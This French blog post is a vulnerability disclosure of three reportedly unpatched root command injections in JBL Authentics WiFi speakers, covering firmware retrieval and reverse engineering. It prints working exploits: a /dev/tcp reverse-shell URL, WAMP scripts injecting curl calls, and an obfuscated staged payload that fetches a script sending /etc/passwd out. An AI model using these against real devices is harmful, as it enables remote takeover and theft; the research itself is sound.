En gros : Trois RCE exploitables à distance, non patchées, sur les enceintes JBL WiFi
Intro
À Noël cette année, on m'a offert un superbe JBL Authentics 200. Je prévoyais juste de l'utiliser comme enceinte traditionnelle. Cependant, un peu après Noël, j'ai découvert que JBL avait ajouté la toute nouvelle série Authentics à leur champ d'application sur leur programme de bugbounty !
Initial Recon
Avant de creuser sur les trucs intéressants, faisons une petites description du produit : L'Authentics 200 n'est pas considéré comme une enceinte portable car elle doit être branchée sur secteur pour fonctionner, nottons également que l'enceinte peut communiquer à la fois en bluetooth et en Wi-Fi,. Lorsqu'elle est connectée à notre Wi-Fi local, elle peut agir comme assistant vocal (alexa, google…) et peut également être utilisée via Spotify/Airplay/Tidal/etc…
Donc, lors de ma première reconnaissance du produit, j'ai découvert qu'il y avait beaucoup de trucs exposées (plus de 20 ports) mais pas grand-chose n'était accessible et/ou identifiable. Beaucoup de services n'étaient pas facilement identifiables et trouver de la doc dessus était pas tâche facile.
Même si certains services étaient connus, leur fonctionnement et leur code source étaient propriétaires, donc c'était un peu casse couille pour l'audit 🙂. Après un bout de temps à tourner en rond, j’ai décidé de me focus sur ce qui me paraissait le plus prometteur, j’ai donc target le port HTTP, comme point de départ j’ai utilisé des infos que j’ai pu trouver dans l’application mobile de JBL que voici :
Après quelques recherches approfondies, il s'avère que ça semble être la manière standard de mettre en œuvre la solution Linkplay : En fonction de vos besoins (en temps qu’entreprise développant des produits IoT), Linkplay fournit une base d'outils que vous adaptez ensuite à vos produits/appareils pour les rendre compatibles Alexa/GoogleHome etc…. Après avoir consulté davantage de documentation sur le sujet, j'ai découvert que la CVE-2019-15310 concernait cet endpoint en particulier, et la solutions linkplay. Ca me semblait être une bonne piste, mais il s'avère que cette faille a été corrigée sur l'appareil, j’ai quand même décidé de me partir dans cette direction en estimant qu’il restait probablement des trucs à trouver, surtout étant donné la latitude que chaque fabricant possède pour adpater les outils linkplay sur leurs appareils. La prochaine étape était donc de chopper le binaire qui me répondait pour voir si je pouvais rentrer par quelque part 🙂.
On choppe le firware :D
Réussir a avoir le firmware n'était pas la tâche la plus facile, en partie car JBL a maintenant une solution OTA entièrement automatisée, il n'est donc plus nécessaire de télécharger le firmware de leur site Web et de mettre à jour notre appareil manuellement. Donc pas (plus) de firmware disponible au téléchargent
Cependant, Internet n'oublie jamais, et la Wayback machine a été le S de la veine ici :
curl -k 'http://web.archive.org/cdx/search/cdx?url=https://www.jbl.com/*&output=json&collapse=urlkey' -o JBLArch.json
Y’a surement de meilleure méthode pour faire ça mais honnêtement RAF : ça marche 🙂. Après avoir téléchargé environ 400M de liens archivés, on peut faire une recherche avec grep pour trouver les choses qui nous intéresse :
$ cat JBLArch.json | grep -i firmware
# Des trucs plus vieux avant
["com,jbl)/on/demandware.static/-/sites-mastercatalog_harman/default/dw87a7b949/pdfs/firmware_update_ota1_jbl_bar_800-1000-1300_version_23.16.21.80.00.pdf","20231211120326","https://www.jbl.com/on/demandware.static/-/Sites-masterCatalog_Harman/default/dw87a7b949/pdfs/Firmware_update_OTA1_JBL_Bar_800-1000-1300_version_23.16.21.80.00.pdf","application/pdf","200","HUMR2GVXEX3KJXOIF3VFPAVYPD5W7WY3","57388"],
#Des trucs plus récents ap
Ce n'est pas exactement le firmware pour notre appareil, mais tout ce qu’on veut pour le moment c’est un accès initial à l’enceinte, pas des informations précises sur le système de fichiers, donc ça fera le taf pour le moment 🙂.
Il s'avère que le pdf est toujours disponible, et contient un lien vers https://harman.widen.net/s/sxtmqhcxx9/jbl_bar_800_1000_1300_ota1_ver_23.16.21.80.00 (Lien archivé). Cela nous permet ensuite de télécharger un fichier zippé qui contient, entre autres, le update.zip
qui contient lui même le rootfs pour la JBL Bar (qui est un produit similaire, sur le fonctionnement au moins, à ma Authentics 200).
L’accès initial 🙂
Après avoir extrait le firmware, on peut chercher pour l’endpoint httpapi.asp
dans les binaires de ce dernier pour identifier les fichiers responsables de faire tourner le serveur web, et qui présenteraient dont un interêt d’un point de vue de la rétro-ingé :
Le truc le plus intéressant ici étant rootApp
, boa est seulement le serveur web et ne possède pas de code spécifique à l’enceinte.
Donc, comme n'importe qui le ferait, j'ai chargé rootApp
dans ghidra et j'ai commencé à chercher des chemins intéressants pour potentiellement déterminer toutes les commandes possibles que je pourrais exécuter sur mon appareil et voir si cela donnait quelque chose d'intéressant.
Dans le binaire, il y a une grosse fonction qui semble mapper les commandes reçues par httpapi vers des actions système.
Cette fonction (une fois compilée, elle est probablement plus propre dans le code source) est essentiellement un grand if/else vérifiant la valeur du paramètre http command
. Après avoir cherché un peu, je suis tombé sur ce snippet de code :
iVar3 = strncmp((char*) __nptr,
"getnewprivatesyslog:ip:", 0x17); //Check si command est getnewprivate....
if (iVar3 == 0) {
__nptr = (undefined4*)((int) __nptr + 0x17); //Extrait la valeur pour le format string
sprintf((char*) & local_430,
"wget -O /tmp/web/sys.log -T 5 http://%s/httpapi.asp?command=getnewprivatesyslog -q", __nptr);
system((char*) & local_430); //big oopsi :/
sprintf((char*) & local_430,
"wget -O /tmp/web/sys.log -T 5 http://%s/data/sys.log -q", __nptr);
system((char*) & local_430);
} else {
system("/system/workdir/script/sysprivatelog.sh");
}
Comme c’est décompilé et que j’était en mode speedrun, c’est un peu cracra, mais en gros, ça vérifie que le paramètre qu’on passe (ici __nptr
) possède ses 23 premiers caractères égaux à getnewprivatesyslog:ip:
, si c’est bien le cas, ça déclenche la partie conditionnelle, le pointer du param est ensuite déplacé de 23 bytes (0X17) et ça utilise ensuite cette valeur pour formater la commande wget
à l’intérieur de local_430
.
Si on utilisait la fonction comme attendu, elle serait appelée de la sorte : httpapi.asp?command=getnewprivatesyslog:ip:192.168.42.0
,et on constate que ça marche effectivement, on reçoit bien le résultat du wget :
On devine facilement ou ça part 🙂, on peut injecter n’importe quoi après :ip:
, qui sera ensuite exec avec system()
.On peut donc pop un reverse shell traditionnel en utilisanthttp(s)://{speaker_ip}/httapi.asp?command=getnewprivatesyslog:ip:$(sh -i >& /dev/tcp/192.168.1.247/4455 0>&1)
(avec 192.168.1.247/4455 notre port/ip local).
C’est plutôt basique, mais au moins on est root 🙂 et ça va faciliter grandement l’exploitation.
L’architecture de l’enceinte
Maintenant que on a un accès complet à l’enceinte, on peut enfin commencer à creuser sérieusement. Beaucoup de choses se passent sur l’enceinte : en gros chaque binaire qui tourne est lancé au travers de logwrapper
, qui permet d’aggréger les logs, pour ensuite les consulter avec logcat
, ce qui nous sera très utile par la suite pour débugger nos exploits/PoC.
Il y a globalement un binaire/appli par tâche (jouer l’audio, gestion de la puissance, du réseaux, etc…) et les binaires communiquent entre eux en utilisant le protocole WAMP, pour faciliter la communication inter-process. Dans notre cas, WAMP permet à chaque application et process de communiquer entre eux, en utilisant principalement deux modèles : Les RPC et le Pub/Sub. On rentrera un peu plus dans les détails après, mais globalement les RPC sont des actions appelables via des méthodes, et les Pub/Sub sont utilisés uniquement pour faire transiter des informations entre les processus. Les appels WAMP sont tous fait vers un “router” (Bonefish) qui s’occupe ensuite de redistribuer les différents paquets vers les processus concernés.
Il s'avère que le listener/routeur WAMP principal, qui est utilisé pour ensuite dispatcher les appels WAMP à d'autres processus, fonctionne également sur un port externe exposé.
Le principal dispatcheur WAMP est construit avec Bonefish, et l'ensemble de l'architecture WAMP ressemble un peu à ceci :
Trouver les bugs 🪲
C'était la partie la plus drôle mais aussi la plus chronophage puisqu'il y avait environ 15 binaires qui pesaient au moins 2MB chacun, ce qui est, pour ceux qui ne savent pas, assez gros sa mère.
Puisque WAMP utilise des Topics et des méthodes RPC, et que ça ressemble globalement à com.app.device.thing
, j'ai extrait tout ce qui ressemblait à ça avec les strings
et grep
sur tout les binaires qui semblaient liés de près ou de loin liés au WAMP. La partie suivante consistait à différencier lesquels d'entre eux sont des topics (On on fait du pub/sub un peu comme sur MQTT, ceux-ci sont d'un intérêt moindre puisqu'ils n'ont généralement pas d'impact direct sur l'appareil) et lesquels d'entre eux sont des méthodes appelables.
Puisque Harman/JBL (ou le sous-traitant qui a bidouillé ce truc) n'a respecté aucune putain de convention de nommage (🙃) j'ai bruteforce chaque appel possible extrait des binaires et en surveillant logcat
sur l’enceinte et la réponse WAMP, j'ai pu déterminer lesquels étaient des méthodes RPC et lesquels servaient à rien / étaient inutilisables.
J’ai utilisé autobahn en python pour chaques tests/PoC/exploit via WAMP, la structure de base est toujours similaire, on rejoins le realm et on essais ensuite d’appeler une procédure:
proc = """com.harman.volumeChanged
com.harman.volumeGet
com.harman.volumeGet
com.harman.volumeGetMax
com.harman.volumeSet
com.harman.volumeSetExt
com.harman.vui.factorytestled
com.harman.vui.getmcustatus
com.harman.vui.usbupgrade
com.harman.wireless.subStateChanged
com.harman.wireless.surroundStateChanged
com.harman.zip-file-upload-status
"""
#....
# On récup les méthodes individuelles
proc = proc.splitlines()
#Oui c'est crado
from autobahn.twisted.wamp import ApplicationSession, ApplicationRunner
from autobahn.wamp.exception import ApplicationError
from twisted.internet.defer import inlineCallbacks
from twisted.internet import reactor
import time
# J'ai oublié quels imports étaient utiles donc dans le doute on laisse tout :/
class MyComponent(ApplicationSession):
@inlineCallbacks
def onJoin(self, details):
# La liste des méthodes a test
procedures = proc
for procedure in procedures:
# artefacts de la commande "strings"
procedure = procedure.replace(" ", "")
print(f"Trying {procedure}")
try:
# Si la méthode peut être appelée
a = yield self.call(procedure)
print(f"{procedure} is valid with result : {a}")
except ApplicationError as e:
if e.error != 'wamp.error.no_such_procedure':
print(f"{procedure} encountered an error: {e}")
time.sleep(0.5)
yield self.leave()
def onDisconnect(self):
reactor.stop()
if __name__ == "__main__":
url = "ws://audiocast.home:9998/"
realm = "default" # "default" est le realm utilisé par l'appli
runner = ApplicationRunner(url, realm)
runner.run(MyComponent)
En utilisant ce script et la sorite de logcat
, on peut voir quelles méthodes existent et sont appelables et lesquelles ne le sont pas, soit car ce sont des topics, et qu’il faut donc s’y “abonner”, soit car ces des bouts de code mort (le système entier comporte une chiée de code mort/pas reachable).
Après avoir creusé un peu avec ça, et tapé sur quelques binaires, j’ai réussi à trouver quelques méthodes qui pourraient faire de bons candidats pour de l’injection de commande. Il y a évidemment beaucoup plus de boulot que ce qui est montré ici pour arriver à ce résultat, mais pour la simplicité (le post est déjà assez long comme ça 🙃), je l’ai pas mentionné ici.
Première RCE : facile
Sur l’enceinte, principalement à des fins de “surveillance” et d'analyse, il y a un binaire analytics.exe
(c'est un exécutable linux, mais au point ou on en est, qui en a quelque chose à foutre de la convention de nommage de toute façon 🙃).
Ce binaire, comme son nom l'indique, gère les opérations liées aux analytics. Beaucoup de choses intéressantes (et peut-être non conformes au RGPD 🙃) s'y passent, une RPC qui déclenche ce binaire est com.harman.analyticsUpload
, il s'avère que cette méthode appèle la fonction AnalyticsWAMP::wamp_analyticsUpload
:
Cette fonction est un wrapper sur une autre fonction AnalyticsWAMP::analytics_upload
qui est la suivante :
Comme on peut le voir, cette fonction vérifie d’abord que /data/audio-ui/analytics/logs_enabled
est présent (ce qui est le cas par défaut), si c’est le cas, la fonction formate une chaine de caractères pour appeler /usr/bin/analytics/AnalyticsUploader.sh
avec des params codés en dur, et appelle ensuite cette chaine avec system()
. On peut injecter au niveau des deux dernièrs params du format string (un str et un int).
L’exploit final ressemble à ça :
import asyncio
from autobahn.asyncio.wamp import ApplicationSession, ApplicationRunner
class Poc(ApplicationSession):
async def onJoin(self, details):
print("Join OK")
try:
# Appel de la méthode avec les deux param (str - INT)
poc = await self.call('com.harman.analyticsUpload', '$(curl 192.168.1.115:4785)', 42069)
print(poc)
except Exception as e:
print(f"Failed to call: {e}")
await self.leave()
def onDisconnect(self):
print("Disconnected")
asyncio.get_event_loop().stop()
if __name__ == '__main__':
runner = ApplicationRunner(url="ws://audiocast.home:9998/", realm="default")
runner.run(Poc)
On obtient donc ça sur notre listener, on est ensuite libre d’exploiter ça d’a peu près toutes les manières possibles :
Deuxième RCE : still ez
Évidemment, après avoir trouvé la première RCE, je ne voulais pas m'arrêter en si bon chemin et j'ai commencé à enquêter sur d’autres binaires pour trouver d'autres injections de commandes. Il s'avère que le binaire connection-manager
était assez intéressant.
(On notera qu’on switch sur IDA pour celui-ci, Ghidra me sortait de la merde et flemme de me taper des calls indirect a tracer à la main)
En gros, on a une procédure com.harman.connection-manager.enable-interface
qui existe, et qui, lorsqu'elle est appelée, déclenche ConnectionWamp::wamp_on_enable_interface
dans connection-manager
.
Comme nous pouvons le voir, il parse l'appel, nous devons donc fournir un str
comme premier argument et un boolean
comme second argument. Il concatène ensuite ces arguments pour créer la commande ipconfig {string} {up|down}
en fonction de la valeur du booléen que nous avons fourni. Il exécute ensuite la commande avec "wrap_system
", qui, comme son nom l'indique, est un wrapper autour de system()
(🙃) de la bibliothèque libplatform_hal.so
. C'est évidemment destiné à activer/désactiver une interface donnée, mais cela peut évidemment être détourné pour faire une injection de commandes et obtenir un RCE en tant que root (youpi).
Le code du PoC change pas bcp :
import asyncio
from autobahn.asyncio.wamp import ApplicationSession, ApplicationRunner
class Poc(ApplicationSession):
async def onJoin(self, details):
print("Join OK")
try:
# Appel avec les bons paramètres (str | bool)
poc = await self.call('com.harman.connection-manager.enable-interface', '$(curl 192.168.1.115:4785)', True )
print(poc)
except Exception as e:
print(f"Calling error : {e}")
await self.leave()
def onDisconnect(self):
print("Closed")
asyncio.get_event_loop().stop()
if __name__ == '__main__':
runner = ApplicationRunner(url="ws://audiocast.home:9998/", realm="default")
runner.run(Poc)
Nous obtenons encore ce résultat plutôt plaisant 🙂 :
Troisième RCE : Un peu de fun
C'était le dernière que j'ai trouvé et clairement la plus difficile à exploiter. La procédure vulnérable est com.harman.ucd.SaveWifiCountryCode
. Elle déclenche la save_wifi_country_code
dans connection-manager
. Le but final de cette fonction semble, encore une fois, comme son nom l’indique, de changer le code de pays de notre wifi sur notre interface :
En gros, ça concatène iw reg set
avec notre entrée.
Le path est très similaire aux deux premiers, mais il y a un truc : on peut injecter qu'en MAJUSCULES, et notre payload doit être au plus de 112 caractères. En gros, on doit juste exécuter des commandes bash sans aucune lettre minuscule, et les garder dans le range de 112 caractères. Les deux conditions séparées sont assez faciles à satisfaire, cependant combinées c'est une autre histoire (mais faisable).
J’ai du être un peu créatif avec les payload, après une petite recherche j'ai décidé d'utiliser les Shell param expansion, mais comme la version de bash était assez ancienne, tout ne fonctionnait pas ou n'était pas implémenté donc voici le payload final fonctionnel :
L=$LD_LIBRARY_PATH;V=$(${L:12:1}${L:51:1}${L:53:1}${L:19:1} 192.168.1.115:4);$(${L:1:1}${L:18:1} -${L:12:1} "$V")
Cela pourrait être considéré comme un payload de merde car il dépend beaucoup de la variable $LD_LIBRARY_PATH, qui est sujette à des changements, mais bon, tant que ça marche 🙂
Un peu plus en détail :
L=$LD_LIBRARY_PATH; #Make L the same value as LD_LIB_PATH (essential to keep payload short
#LD_LIB_PATH is /system/oem_cast_shlib:/system/lib:/system/lib/hw:/usr/lib:/lib:/usr/lib/hw
V=$(${L:12:1}${L:51:1}${L:53:1}${L:19:1} 192.168.1.115:4); #We extract the letters c-u-r-l from the loaded var
$(${L:1:1}${L:18:1} -${L:12:1} \"$V\") # Using command subsitution, we execute sh -c "$V" where V holds the result of curl
Pour le PoC, comme il y a une restriction de taille, nous allons le faire en plusieurs étapes :
server.py
, un simple serveur python qui sera en charge de servir notre deuxième stage (qui est dans le fichier "a") et dans ce cas écoute les pingbacks de la victime :
from http.server import HTTPServer, BaseHTTPRequestHandler
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/':
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
with open('a', 'rb') as file:
self.wfile.write(file.read())
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
print("Requête POST reçue:\n", post_data.decode('utf-8'))
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
response_message = 'Requête POST reçue'
self.wfile.write(response_message.encode('utf-8'))
def run(server_class=HTTPServer, handler_class=SimpleHTTPRequestHandler, port=4):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
print(f'Serveur HTTP sur le port {port}...')
httpd.serve_forever()
if __name__ == '__main__':
run()
a
qui est le fichier shell qui sera exécuté, ici il contient seulement trois commandes, comme nous allons l'exécuter avec sh -c, le shebang et les autres trucs chiant de shell ne sont pas nécessaires
curl 192.168.1.115:4/a -d "$(whoami)"
curl 192.168.1.115:4/b -d "$(cat /etc/passwd)"
exploit.py
qui est utilisé pour envoyer la charge utile :
import asyncio
from autobahn.asyncio.wamp import ApplicationSession, ApplicationRunner
payload = "L=$LD_LIBRARY_PATH;V=$(${L:12:1}${L:51:1}${L:53:1}${L:19:1} 192.168.1.115:4);$(${L:1:1}${L:18:1} -${L:12:1} \"$V\")"
print(payload)
class Poc(ApplicationSession):
async def onJoin(self, details):
print("Join OK")
try:
poc = await self.call('com.harman.ucd.SaveWifiCountryCode', f";{payload}")
print(poc)
except Exception as e:
print(f"Failed to call: {e}")
await self.leave()
def onDisconnect(self):
print("Disconnected")
asyncio.get_event_loop().stop()
if __name__ == '__main__':
runner = ApplicationRunner(url="ws://audiocast.home:9998/", realm="default")
runner.run(Poc)
On obtient obtenons alors ce résultat :
Conclusion
C'était une découverte assez marrante à l'intérieur des appareils JBL ! Dommage qu'ils aient décidé de triager les trois RCE comme des doublons et 'suivis en interne' après 1 mois d'attente 😟 au lieu de le faire juste après que j'ai envoyé le rapport, s'ils l'avaient vraiment ‘suivi en interne’ à ce moment-là 🙂. Quoi qu'il en soit, je travaille toujours sur d'autres exploits qui seront peut-être le sujet de futurs articles de blog s'ils sont également triés comme des doublons 😕.